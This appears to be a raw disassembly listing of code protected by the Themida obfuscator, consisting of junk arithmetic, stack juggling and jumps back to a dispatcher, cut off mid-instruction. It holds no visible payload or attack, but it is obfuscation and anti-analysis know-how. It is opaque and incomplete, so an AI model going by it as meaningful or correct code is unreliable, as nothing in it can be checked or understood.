--------------------------------------------------------------------------- loc_559829: ; CODE XREF: Themida_:00555B16j xchg ebx, esi not ebx xchg ebx, esi xchg esi, edi xor edi, 0D1CEE353h jmp loc_551F2C ; --------------------------------------------------------------------------- loc_55983C: ; CODE XREF: Themida_:00552AC1j mov bh, 29h jmp loc_55D44A ; --------------------------------------------------------------------------- loc_559843: ; CODE XREF: Themida_:00559112j xor ecx, [esp] mov esp, [esp] idiv cx push small 49D4h mov [esp], dx push ax pushf jmp loc_5577B6 ; --------------------------------------------------------------------------- loc_55985C: ; CODE XREF: Themida_:00553193j mov ecx, [esp] jmp loc_556A31 ; --------------------------------------------------------------------------- loc_559864: ; CODE XREF: Themida_:00557606j add ecx, 127DAACh jmp loc_55B0F4 ; --------------------------------------------------------------------------- loc_55986F: ; CODE XREF: Themida_:00553BECj jmp loc_552CF8 ; --------------------------------------------------------------------------- loc_559874: ; CODE XREF: Themida_:00559CEEj mov ebx, [esp] jmp loc_55A7F9 ; --------------------------------------------------------------------------- loc_55987C: ; CODE XREF: Themida_:00553D3Bj mov ebp, edi pop edi push 85F471EDh pop ebx sub ebx, ebp pop ebp jmp loc_55323A ; --------------------------------------------------------------------------- loc_55988D: ; CODE XREF: Themida_:00558FC6j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_551E87 ; --------------------------------------------------------------------------- loc_5598A2: ; CODE XREF: Themida_:005556B2j pop esi add ebx, eax jmp loc_552230 ; --------------------------------------------------------------------------- loc_5598AA: ; CODE XREF: Themida_:00552D03j add esi, 4 jmp loc_556493 ; --------------------------------------------------------------------------- loc_5598B5: ; CODE XREF: Themida_:0055D3F9j mov dx, 763Dh sub ax, dx jmp loc_553B1A ; --------------------------------------------------------------------------- loc_5598C1: ; CODE XREF: Themida_:0055CB2Bj mov edx, 2AE1E87h inc edx sub edx, 2AE1E84h add esi, edx jmp loc_55665B ; --------------------------------------------------------------------------- loc_5598D4: ; CODE XREF: Themida_:0055C4FBj push 14F7h mov [esp], edi push ebx jmp loc_558BD5 ; --------------------------------------------------------------------------- loc_5598E2: ; CODE XREF: Themida_:00556614j sub ecx, 0A5BCFD2Fh sub edi, ecx jmp loc_553203 ; --------------------------------------------------------------------------- loc_5598EF: ; CODE XREF: Themida_:005549D7j mov ebp, 21D3745Dh mov ecx, 115F1B43h xor ecx, ebp pop ebp push esi jmp loc_559556 ; --------------------------------------------------------------------------- loc_559902: ; CODE XREF: Themida_:00552426j pop ebx push ecx mov ecx, 4BC67756h and esi, ecx pop ecx push edi mov edi, 23B0658Dh push esi mov esi, 7CC53D26h sub edi, esi pop esi sub edi, 0D9A0239h sub edi, 580D0FE8h xor esi, edi pop edi push edi mov edi, esi jmp loc_555646 ; --------------------------------------------------------------------------- loc_559932: ; CODE XREF: Themida_:0055C5BAj sub al, 0E2h add al, cl add al, 0E2h push bx mov bl, 4Ah sub al, bl pop bx pop ecx push ecx jmp loc_552C08 ; --------------------------------------------------------------------------- loc_559947: ; CODE XREF: Themida_:00555933j mov edi, ebx pop ebx add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55636E ; --------------------------------------------------------------------------- loc_55995B: ; CODE XREF: Themida_:00551B47j mov eax, 0FFFFFFFFh sub [edi+24h], eax push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 19EEh mov [esp], ecx mov ecx, esp push 0C65h jmp loc_55A587 ; --------------------------------------------------------------------------- loc_559984: ; CODE XREF: Themida_:00555AD6j add esp, 4 and ebx, edi jmp loc_5560F2 ; --------------------------------------------------------------------------- loc_559991: ; CODE XREF: Themida_:00552BD6j or ecx, 5E287CABh dec ecx jmp loc_55B8A1 ; --------------------------------------------------------------------------- loc_55999D: ; CODE XREF: Themida_:005549C8j add esi, 7DA04BB2h sub esi, 1 neg esi shl esi, 1 sub esi, 43C826FFh jmp loc_5584D4 ; --------------------------------------------------------------------------- loc_5599B5: ; CODE XREF: Themida_:0055A164j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 5D0Bh mov [esp], ebx push ecx jmp loc_55C49A ; --------------------------------------------------------------------------- loc_5599D0: ; CODE XREF: Themida_:00557B6Dj push 12471E30h jmp loc_557F3F ; --------------------------------------------------------------------------- loc_5599DA: ; CODE XREF: Themida_:00558C5Dj pop esp push ebx jmp loc_55D96B ; --------------------------------------------------------------------------- loc_5599E1: ; CODE XREF: Themida_:0055806Fj add esp, 4 push eax push ecx mov ecx, 16E16BFFh mov eax, 1D28C335h add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_552EB6 ; --------------------------------------------------------------------------- loc_5599FD: ; CODE XREF: Themida_:0055B985j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_55C71D ; --------------------------------------------------------------------------- loc_559A1E: ; CODE XREF: Themida_:0055A398j mov [esp], esi jmp loc_5593C6 ; --------------------------------------------------------------------------- loc_559A26: ; CODE XREF: Themida_:0055CE3Dj push eax pop ebp pop eax sub eax, 60D702D0h sub eax, ebp add eax, 60D702D0h push dword ptr [esp] pop ebp push ebx jmp loc_55B129 ; --------------------------------------------------------------------------- loc_559A3F: ; CODE XREF: Themida_:0055A818j add esp, 2 jmp loc_551815 ; --------------------------------------------------------------------------- loc_559A47: ; CODE XREF: Themida_:005582D5j mov edi, 4C362FA9h jmp loc_551A60 ; --------------------------------------------------------------------------- loc_559A51: ; CODE XREF: Themida_:0055B74Ej sub al, 44h push edx mov dl, 9Dh jmp loc_554A29 ; --------------------------------------------------------------------------- loc_559A5B: ; CODE XREF: Themida_:0055781Ej push edi mov edi, esp push esi mov esi, 3249720Bh xor esi, 3249720Fh add edi, esi pop esi jmp loc_558DB4 ; --------------------------------------------------------------------------- loc_559A72: ; CODE XREF: Themida_:00551FD3j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] add esp, 4 bt [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_559A8A: ; CODE XREF: Themida_:0055BF77j sub dword ptr [esp], 4E006644h pop ebx push edx jmp loc_559AA3 ; --------------------------------------------------------------------------- loc_559A98: ; CODE XREF: Themida_:0055B796j sub esp, 4 mov [esp], ebx jmp loc_554483 ; --------------------------------------------------------------------------- loc_559AA3: ; CODE XREF: Themida_:00559A93j mov edx, 4E006644h add ebx, edx pop edx jmp loc_557910 ; --------------------------------------------------------------------------- loc_559AB0: ; CODE XREF: Themida_:00558E78j inc ecx dec ecx jmp loc_558F8A ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push 5B3Bh jmp loc_558FCB ; --------------------------------------------------------------------------- loc_559AC6: ; CODE XREF: Themida_:0055D1F0j pop esp push dword ptr [eax] jmp loc_551815 ; --------------------------------------------------------------------------- loc_559ACE: ; CODE XREF: Themida_:0055C615j pop esi xor eax, 140926CAh push ecx jmp loc_553841 ; --------------------------------------------------------------------------- loc_559ADA: ; CODE XREF: Themida_:0055B279j add dword ptr [esp], 4 pop ecx add ecx, 4 push 5320h mov [esp], ebx mov ebx, 2 add ecx, 535508A2h add ecx, ebx push edi mov edi, 5E1F3469h dec edi and edi, 156A0078h not edi inc edi dec edi add edi, 675F090Bh jmp loc_554021 ; --------------------------------------------------------------------------- loc_559B19: ; CODE XREF: Themida_:0055A081j pop eax xchg edi, [esp] mov esp, [esp] add dword ptr [esp], 4CD411C8h push ecx mov ecx, 7EF230E9h sub [esp+4], ecx jmp loc_554105 ; --------------------------------------------------------------------------- loc_559B36: ; CODE XREF: Themida_:00555302j mov [esp], eax not dword ptr [esp] push dword ptr [esp] pop eax push edi push esp mov edi, [esp] add esp, 4 add edi, 4 push 6190h mov [esp], esi mov esi, 590F0A24h dec esi inc esi shr esi, 4 sub esi, 590F09Eh add edi, 5B826C53h add edi, esi sub edi, 5B826C53h jmp loc_55A169 ; --------------------------------------------------------------------------- loc_559B7C: ; CODE XREF: Themida_:0055C495j push eax mov eax, esp jmp loc_558A35 ; --------------------------------------------------------------------------- loc_559B84: ; CODE XREF: Themida_:0055354Dj pop edi sub esp, 4 mov [esp], ebp mov ebp, 2 add ecx, 0E54300Ah jmp loc_5543A6 ; --------------------------------------------------------------------------- loc_559B9E: ; CODE XREF: Themida_:00555927j push ecx push esi mov esi, 0B956301h push ecx push eax mov eax, 6DD42A88h shr eax, 8 not eax add eax, 2A906C26h neg eax jmp loc_55AC47 ; --------------------------------------------------------------------------- loc_559BBD: ; CODE XREF: Themida_:00557FFBj or ebx, 29364F3h shr ebx, 8 sub ebx, 3FF778h add edi, ebx jmp loc_55D7C2 ; --------------------------------------------------------------------------- loc_559BD3: ; CODE XREF: Themida_:00553C3Fj mov dl, 0F6h jmp loc_55D177 ; --------------------------------------------------------------------------- loc_559BDA: ; CODE XREF: Themida_:0055B0B7j mov edi, 25544B3Ah jmp loc_55B57D ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp sub esp, 4 mov [esp], edi mov edi, 4 sub ebp, 1D965518h push edx mov edx, 4B147B57h sub ebp, edx pop edx add ebp, edi add ebp, 4B147B57h add ebp, 1D965518h pop edi jmp loc_55CB30 ; --------------------------------------------------------------------------- loc_559C1C: ; CODE XREF: Themida_:0055D3A0j sub bl, al pop eax movzx eax, al mov dx, [esp] jmp loc_557083 ; --------------------------------------------------------------------------- loc_559C2B: ; CODE XREF: Themida_:0055D1E5j sub ebx, 0D9BF02AFh sub eax, ebx push dword ptr [esp] pop ebx add esp, 4 push ecx mov ecx, 43FC1EFDh xor ecx, 0A9F3FF3h push ecx xchg edx, [esp] not edx push edx push dword ptr [esp+4] jmp loc_55A253 ; --------------------------------------------------------------------------- loc_559C59: ; CODE XREF: Themida_:0055CB68j push esi push 4 pop esi jmp loc_55B338 ; --------------------------------------------------------------------------- loc_559C65: ; CODE XREF: Themida_:0055A63Dj sub [esp+4], ebp sub dword ptr [esp+4], 5D160CE4h pop ebp jmp loc_551815 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_55C2E3 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_554AD4 ; --------------------------------------------------------------------------- loc_559C91: ; CODE XREF: Themida_:005593ECj mov [esp], ebp push edx mov edx, 210734A5h or edx, 0F7C249Eh jmp loc_558E50 ; --------------------------------------------------------------------------- loc_559CA5: ; CODE XREF: Themida_:0055C696j push 1C5Eh mov [esp], esi push 1598h mov [esp], esp add dword ptr [esp], 4 pop esi push 223Eh mov [esp], ebp mov ebp, 4 add esi, 66DC6798h jmp loc_5533E5 ; --------------------------------------------------------------------------- loc_559CD2: ; CODE XREF: Themida_:0055311Cj push esp pop edx jmp loc_55B45B ; --------------------------------------------------------------------------- loc_559CD9: ; CODE XREF: Themida_:0055C23Dj mov esi, 400h mov ebx, esi mov esi, [esp] add esp, 4 and eax, ebx push dword ptr [esp] jmp loc_559874 ; --------------------------------------------------------------------------- loc_559CF3: ; CODE XREF: Themida_:0055C58Bj mov [esp], edx mov edx, esp add edx, 4 jmp loc_55C484 ; --------------------------------------------------------------------------- loc_559D03: ; CODE XREF: Themida_:005518D1j push edx mov edx, 658E6AC1h mov ebx, edx pop edx sub esp, 4 mov [esp], ecx jmp loc_553CC5 ; --------------------------------------------------------------------------- loc_559D17: ; CODE XREF: Themida_:0055D140j shr esi, 1 xor esi, 661F673Ah inc esi add esi, 0AADC1BB8h add edi, esi pop esi push edx mov edx, 4 jmp loc_55BD61 ; --------------------------------------------------------------------------- loc_559D34: ; CODE XREF: Themida_:0055D655j pop dword ptr [esp] pop esp mov [esp], ebx add dword ptr [esp], 79800C96h jmp loc_558719 ; --------------------------------------------------------------------------- loc_559D47: ; CODE XREF: Themida_:00558EFBj pop eax sub edi, 0FF98F97Fh jmp loc_558996 ; --------------------------------------------------------------------------- loc_559D53: ; CODE XREF: Themida_:0055A23Ej sub [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_559D5D: ; CODE XREF: Themida_:0055DB00j pop esp mov [esp], bx push 5DE5h mov [esp], ecx jmp loc_55AEDD ; --------------------------------------------------------------------------- loc_559D6F: ; CODE XREF: Themida_:00554F4Ej sub eax, ecx mov ecx, [esp] add esp, 4 pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi jmp loc_55AA8C ; --------------------------------------------------------------------------- loc_559D89: ; CODE XREF: Themida_:0055A8D6j push 46D0h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, 22CA188Eh mov edx, 86E184E3h sub edx, edi pop edi xor eax, edx jmp loc_5551D8 ; --------------------------------------------------------------------------- loc_559DBA: ; CODE XREF: Themida_:00555E1Cj push ebp mov ebp, 4BE824B0h sub ebp, 0BDCA847h jmp loc_55D6E6 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55CE6F ; --------------------------------------------------------------------------- loc_559DDC: ; CODE XREF: Themida_:00556967j pop eax add edx, ebx mov ebx, [esp] add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push ecx mov ecx, esp push edi jmp loc_55C13B ; --------------------------------------------------------------------------- loc_559E01: ; CODE XREF: Themida_:00557613j push esi mov esi, 558FBA16h jmp loc_553D88 ; --------------------------------------------------------------------------- loc_559E0C: ; CODE XREF: Themida_:00551F32j add esp, 4 jmp loc_557F95 ; --------------------------------------------------------------------------- loc_559E17: ; CODE XREF: Themida_:00555D0Bj neg edx jmp loc_552D4C ; --------------------------------------------------------------------------- loc_559E1E: ; CODE XREF: Themida_:00554C5Dj add ebp, 2F6668F3h jmp loc_55BBE9 ; --------------------------------------------------------------------------- loc_559E29: ; CODE XREF: Themida_:00555699j sub esp, 4 mov [esp], edx jmp loc_553211 ; --------------------------------------------------------------------------- loc_559E34: ; CODE XREF: Themida_:00557C6Bj pop dword ptr [esp] push eax mov eax, 4 jmp loc_557A26 ; --------------------------------------------------------------------------- loc_559E42: ; CODE XREF: Themida_:00551D93j push esp pop edi push ecx mov ecx, 579002C7h dec ecx or ecx, 7C62A4Ch add ecx, 0A829D536h jmp loc_55B92C ; --------------------------------------------------------------------------- loc_559E5C: ; CODE XREF: Themida_:005565E6j inc ebx jmp loc_55819F ; --------------------------------------------------------------------------- loc_559E62: ; CODE XREF: Themida_:00553889j mov edi, 4 add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] jmp loc_55D842 ; --------------------------------------------------------------------------- loc_559E75: ; CODE XREF: Themida_:0055B041j xchg ebx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55BA5C ; --------------------------------------------------------------------------- loc_559E8B: ; CODE XREF: Themida_:0055356Dj or edx, ecx mov ecx, [esp] add esp, 4 add edx, 0FFFFFFFFh shr edx, 6 push esi jmp loc_557823 ; --------------------------------------------------------------------------- loc_559EA2: ; CODE XREF: Themida_:00553CB3j add esp, 4 pop edi push edx mov edx, 420A741Ah push eax jmp loc_551888 ; --------------------------------------------------------------------------- loc_559EB2: ; CODE XREF: Themida_:00554171j mov ebx, 31115F77h add ebx, 608159C6h xor ebx, 0DC4A89BEh sub edx, 6F2D0547h sub edx, ebx add edx, 6F2D0547h pop ebx not edx push ecx push edi push 70BD7FD0h pop edi and edi, 7AC3348Bh shl edi, 7 jmp loc_551DA3 ; --------------------------------------------------------------------------- loc_559EEA: ; CODE XREF: Themida_:005547D8j mov ecx, 16B95C00h shr ecx, 8 jmp loc_55B9F5 ; --------------------------------------------------------------------------- loc_559EF7: ; CODE XREF: Themida_:0055C182j mov ebp, esi jmp loc_557540 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_551815 ; --------------------------------------------------------------------------- loc_559F06: ; CODE XREF: Themida_:00558DEFj pop edx jmp loc_555F6B ; --------------------------------------------------------------------------- loc_559F0C: ; CODE XREF: Themida_:0055A447j pop dword ptr [esp] pop esp test cl, al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_559F18: ; CODE XREF: Themida_:00552A5Bj add ebx, 4 jmp loc_553AC3 ; --------------------------------------------------------------------------- loc_559F20: ; CODE XREF: Themida_:0055C322j mov eax, esp push esi mov esi, 2EB6342Fh inc esi dec esi add esi, 0FFFFFFFFh and esi, 4AE70E2Eh sub esi, 0AA6042Ah jmp loc_55BFAB ; --------------------------------------------------------------------------- loc_559F41: ; CODE XREF: Themida_:00557318j mov edi, 63B35491h shr edi, 1 or edi, 5DE93FD7h push ecx mov ecx, 7B074704h jmp loc_558E22 ; --------------------------------------------------------------------------- loc_559F59: ; CODE XREF: Themida_:00555F0Bj sub esi, 63C36D0Ah push edi mov edi, 244B0EFBh dec edi not edi neg edi sub edi, 0BD31F0A2h add esi, edi pop edi add eax, esi jmp loc_55557D ; --------------------------------------------------------------------------- loc_559F7A: ; CODE XREF: Themida_:0055BF9Cj push eax mov eax, 77A37C60h shl eax, 5 xor eax, 0A436B37h sub eax, 50AF6C53h sub eax, 0A8AEBA3Fh jmp loc_551F21 ; --------------------------------------------------------------------------- loc_559F97: ; CODE XREF: Themida_:00552EE4j push ebx jmp loc_558083 ; --------------------------------------------------------------------------- loc_559F9D: ; CODE XREF: Themida_:0055A6A1j push 262Fh mov [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_559FAA: ; CODE XREF: Themida_:005532C0j pop dword ptr [esp] pop esp shl ch, 2 or ch, 3Ah shr ch, 4 jmp loc_554981 ; --------------------------------------------------------------------------- loc_559FBC: ; CODE XREF: Themida_:005593C1j push esi mov esi, 353F2737h and esi, 6A9A122Eh jmp loc_55D58A ; --------------------------------------------------------------------------- loc_559FCD: ; CODE XREF: Themida_:00553432j add esi, 4 jmp loc_5563CC ; --------------------------------------------------------------------------- loc_559FD8: ; CODE XREF: Themida_:0055CF7Fj xor eax, 62BA1365h inc eax push ebp mov ebp, 24BF0220h xor ebp, 731F1385h xor eax, ebp pop ebp xor edx, eax jmp loc_557D68 ; --------------------------------------------------------------------------- loc_559FF4: ; CODE XREF: Themida_:0055D872j push bx mov bl, 34h add al, 85h add al, bl sub al, 85h pop bx add al, bl sub al, 34h push edx mov dh, 0F8h and dh, 7Bh add dh, 0Eh or dh, 2Ch or dh, 0C0h jmp loc_5590CE ; --------------------------------------------------------------------------- loc_55A018: ; CODE XREF: Themida_:0055D50Fj add ebp, 4 jmp loc_558AFE ; --------------------------------------------------------------------------- loc_55A020: ; CODE XREF: Themida_:00554FE6j add esi, 635A5026h jmp loc_553E31 ; --------------------------------------------------------------------------- loc_55A02B: ; CODE XREF: Themida_:00556511j add dword ptr [esp+4], 31D4210h mov edi, [esp] push ebp jmp loc_554BEC ; --------------------------------------------------------------------------- loc_55A03C: ; CODE XREF: Themida_:0055C0C8j pop edi xor edi, 356E2334h push ebx push edi sub esp, 4 mov [esp], ebx mov ebx, 3EAA0772h xor [esp+4], ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ebx, [esp] jmp loc_55BB82 ; --------------------------------------------------------------------------- loc_55A075: ; CODE XREF: Themida_:00552B61j pop eax add esp, 4 push eax mov eax, 4 add edi, eax jmp loc_559B19 ; --------------------------------------------------------------------------- loc_55A086: ; CODE XREF: Themida_:0055D19Dj mov ecx, [esp] add esp, 4 jmp loc_552ADE ; --------------------------------------------------------------------------- loc_55A091: ; CODE XREF: Themida_:00551D9Ej pop esi push 24E6h mov [esp], edx push edi push 1A5D7B11h pop edi sub edi, 194E72EBh mov edx, edi jmp loc_55BA49 ; --------------------------------------------------------------------------- loc_55A0AE: ; CODE XREF: Themida_:0055B597j push 0DF8h mov [esp], eax mov eax, 4 add esi, eax pop eax jmp loc_55BD2E ; --------------------------------------------------------------------------- loc_55A0C3: ; CODE XREF: Themida_:00556F60j mov esi, eax jmp loc_558472 ; --------------------------------------------------------------------------- loc_55A0CA: ; CODE XREF: Themida_:005559BCj movzx eax, al lea eax, [edi+eax*4] jmp loc_558B48 ; --------------------------------------------------------------------------- loc_55A0D5: ; CODE XREF: Themida_:00557B34j pop eax mov dword ptr [edi+24h], 2A4C0686h push dword ptr [edi+24h] jmp loc_55CA2C ; --------------------------------------------------------------------------- loc_55A0E5: ; CODE XREF: Themida_:00554B10j pop dword ptr [esp] pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_55A0EE: ; CODE XREF: Themida_:0055B63Aj push ebp sub esp, 4 mov [esp], edi mov edi, 4A5B4D36h push eax mov eax, 592F2C49h jmp loc_552CB6 ; --------------------------------------------------------------------------- loc_55A105: ; CODE XREF: Themida_:0055C601j mov [esp], cx mov cl, 62h sub al, cl pop cx jmp loc_55BAF0 ; --------------------------------------------------------------------------- loc_55A114: ; CODE XREF: Themida_:00556ED6j pop edx jmp loc_55C242 ; --------------------------------------------------------------------------- loc_55A11A: ; CODE XREF: Themida_:00558317j add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55BDFE ; --------------------------------------------------------------------------- loc_55A130: ; CODE XREF: Themida_:0055A34Ej push edi mov edi, 4 add eax, edi pop edi jmp loc_55D6B3 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push edi jmp loc_55DC78 ; --------------------------------------------------------------------------- loc_55A157: ; CODE XREF: Themida_:005552E6j push 7181h mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_5599B5 ; --------------------------------------------------------------------------- loc_55A169: ; CODE XREF: Themida_:00559B77j push dword ptr [esp] pop esi jmp loc_558C54 ; --------------------------------------------------------------------------- loc_55A172: ; CODE XREF: Themida_:0055A22Dj pop ebp sub ecx, 3CF12297h jmp loc_554AB3 ; --------------------------------------------------------------------------- loc_55A17E: ; CODE XREF: Themida_:00555128j add esi, 2 xor esi, [esp] jmp loc_552E60 ; --------------------------------------------------------------------------- loc_55A18C: ; CODE XREF: Themida_:00554223j add ebp, 7D70EA6h push eax mov eax, 5BF41E1Eh add ecx, eax pop eax add ecx, ebp sub ecx, 5BF41E1Eh jmp loc_55A847 ; --------------------------------------------------------------------------- loc_55A1A8: ; CODE XREF: Themida_:00551F0Bj shl edi, 1 shl edi, 8 sub edi, 3AF39FCh mov esi, edi jmp loc_5571BD ; --------------------------------------------------------------------------- loc_55A1BA: ; CODE XREF: Themida_:0055514Ej mov ebx, edx pop edx mov ebp, [esp] push 5D5Eh mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ecx, ebx pop ebx and eax, ecx pop ecx shr eax, 12h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_55C3CA ; --------------------------------------------------------------------------- loc_55A1F0: ; CODE XREF: Themida_:005581C3j pop edi push edx mov edx, 4 add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp sub bl, 48h add bl, al add bl, 48h sub bl, 0A8h jmp loc_55CDFB ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp push ebx mov ebx, 3C2D36FEh shl ebx, 4 push ebp push 0C2D36FE4h pop ebp xor ebx, ebp jmp loc_55A172 ; --------------------------------------------------------------------------- loc_55A232: ; CODE XREF: Themida_:0055B99Dj pop ecx pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_559D53 ; --------------------------------------------------------------------------- loc_55A243: ; CODE XREF: Themida_:0055833Aj pop ebp jmp loc_5570E4 ; --------------------------------------------------------------------------- loc_55A249: ; CODE XREF: Themida_:00553B56j not ebx xchg ebp, ebx inc ebp jmp loc_557551 ; --------------------------------------------------------------------------- loc_55A253: ; CODE XREF: Themida_:00559C54j pop edx pop dword ptr [esp] inc dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55AA44 ; --------------------------------------------------------------------------- loc_55A271: ; CODE XREF: Themida_:00556CD6j mov ch, 0B7h jmp loc_55D7AB ; --------------------------------------------------------------------------- loc_55A278: ; CODE XREF: Themida_:0055CDACj add esi, 4 xchg esi, [esp] pop esp idiv ecx push 6AAh mov [esp], edx push eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55A290: ; CODE XREF: Themida_:00554ACFj sub ecx, 744167DBh pop ebp pop ebx add ecx, 2 push ecx push dword ptr [esp+4] jmp loc_558E7D ; --------------------------------------------------------------------------- loc_55A2A8: ; CODE XREF: Themida_:0055BB85j xor ebx, 3EAA0772h sub esp, 4 mov [esp], edx mov edx, ebx mov eax, edx pop edx jmp loc_55847D ; --------------------------------------------------------------------------- loc_55A2C1: ; CODE XREF: Themida_:00551CCBj pop eax add esp, 4 add eax, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, 4 sub eax, ebp jmp loc_553EE2 ; --------------------------------------------------------------------------- loc_55A2E9: ; CODE XREF: Themida_:0055D1D1j inc edi add edi, 1DB642CBh jmp loc_5572AC ; --------------------------------------------------------------------------- loc_55A2F5: ; CODE XREF: Themida_:00552666j mov ecx, 5D775A22h sub ecx, 7E5A131Eh push edx mov edx, 55A2749Ch or ecx, edx jmp loc_55882F ; --------------------------------------------------------------------------- loc_55A30D: ; CODE XREF: Themida_:005590A4j mov ebp, edx mov edx, [esp] jmp loc_554757 ; --------------------------------------------------------------------------- loc_55A317: ; CODE XREF: Themida_:00552740j xchg edi, [esp] pop esp jmp loc_55184F ; --------------------------------------------------------------------------- loc_55A320: ; CODE XREF: Themida_:00556BFBj xor ecx, 333E74E0h push ebx mov ebx, ecx jmp loc_5569CA ; --------------------------------------------------------------------------- loc_55A32E: ; CODE XREF: Themida_:0055663Aj add esi, 4 push eax mov eax, 4 jmp loc_551D80 ; --------------------------------------------------------------------------- loc_55A33F: ; CODE XREF: Themida_:0055667Bj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add eax, 4 jmp loc_55A130 ; --------------------------------------------------------------------------- loc_55A353: ; CODE XREF: Themida_:0055C4A3j xor ecx, 4E406974h push ecx mov ebx, [esp] push 212Bh mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_55D5A9 ; --------------------------------------------------------------------------- loc_55A383: ; CODE XREF: Themida_:00554396j pop ecx add edi, edx mov edx, [esp] push edi mov edi, esp add edi, 4 sub esp, 4 jmp loc_559A1E ; --------------------------------------------------------------------------- loc_55A39D: ; CODE XREF: Themida_:0055CEA4j shr esi, 2 jmp loc_55BC74 ; --------------------------------------------------------------------------- loc_55A3A5: ; CODE XREF: Themida_:005561E8j pop esp mov cx, [esp] push 6E6Bh jmp loc_55CBF1 ; --------------------------------------------------------------------------- loc_55A3B4: ; CODE XREF: Themida_:005567DCj pop esi jmp loc_55DB38 ; --------------------------------------------------------------------------- loc_55A3BA: ; CODE XREF: Themida_:0055A43Dj xor edi, edx not edx push edi jmp loc_5543EE ; --------------------------------------------------------------------------- loc_55A3C4: ; CODE XREF: Themida_:0055CC25j sub eax, ebp sub eax, 6EEF5D09h pop ebp or [edi+1Ch], eax push dword ptr [esp] pop eax push eax mov eax, esp sub esp, 4 mov [esp], esi mov esi, 35AE154Ch push edi mov edi, 1 sub esi, edi pop edi sub esi, 35AE1547h add eax, esi mov esi, [esp] add esp, 4 jmp loc_558708 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_556C00 ; --------------------------------------------------------------------------- loc_55A40C: ; CODE XREF: Themida_:0055C9D0j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_551815 ; --------------------------------------------------------------------------- loc_55A420: ; CODE XREF: Themida_:00551A6Bj mov ecx, [esp] jmp loc_55D421 ; --------------------------------------------------------------------------- loc_55A428: ; CODE XREF: Themida_:00551950j push 3BF6h mov [esp], ecx mov ch, 21h mov ah, 50h sub ah, ch jmp loc_55607B ; --------------------------------------------------------------------------- loc_55A43B: ; CODE XREF: Themida_:0055404Ej xor edx, edi jmp loc_55A3BA ; --------------------------------------------------------------------------- loc_55A442: ; CODE XREF: Themida_:0055A477j push dword ptr [esp+4] pop edx jmp loc_559F0C ; --------------------------------------------------------------------------- loc_55A44C: ; CODE XREF: Themida_:00558B17j pop small word ptr [esp] push small 39E5h mov [esp], ax push dx jmp loc_55ADF2 ; --------------------------------------------------------------------------- loc_55A45F: ; CODE XREF: Themida_:00558D32j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5551CF ; --------------------------------------------------------------------------- loc_55A470: ; CODE XREF: Themida_:00552383j add edx, 2 push edx jmp loc_55A442 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55A48B: ; CODE XREF: Themida_:00556128j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push eax jmp loc_55CBC7 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax mov eax, 1DC04F48h push ebp jmp loc_55CC1B ; --------------------------------------------------------------------------- loc_55A4AD: ; CODE XREF: Themida_:00556E2Dj add esp, 4 sub esp, 4 mov [esp], edx push 7D87h mov [esp], ebp mov ebp, 800000h push esi mov esi, ebp jmp loc_55691C ; --------------------------------------------------------------------------- loc_55A4CE: ; CODE XREF: Themida_:005542F4j sub edi, 6B367DB6h add edi, 29216D38h and edi, 3535414Ch add edi, 181523BAh jmp loc_553060 ; --------------------------------------------------------------------------- loc_55A4EB: ; CODE XREF: Themida_:0055C53Ej xchg eax, [esp] pop esp mov [esp], esi mov esi, 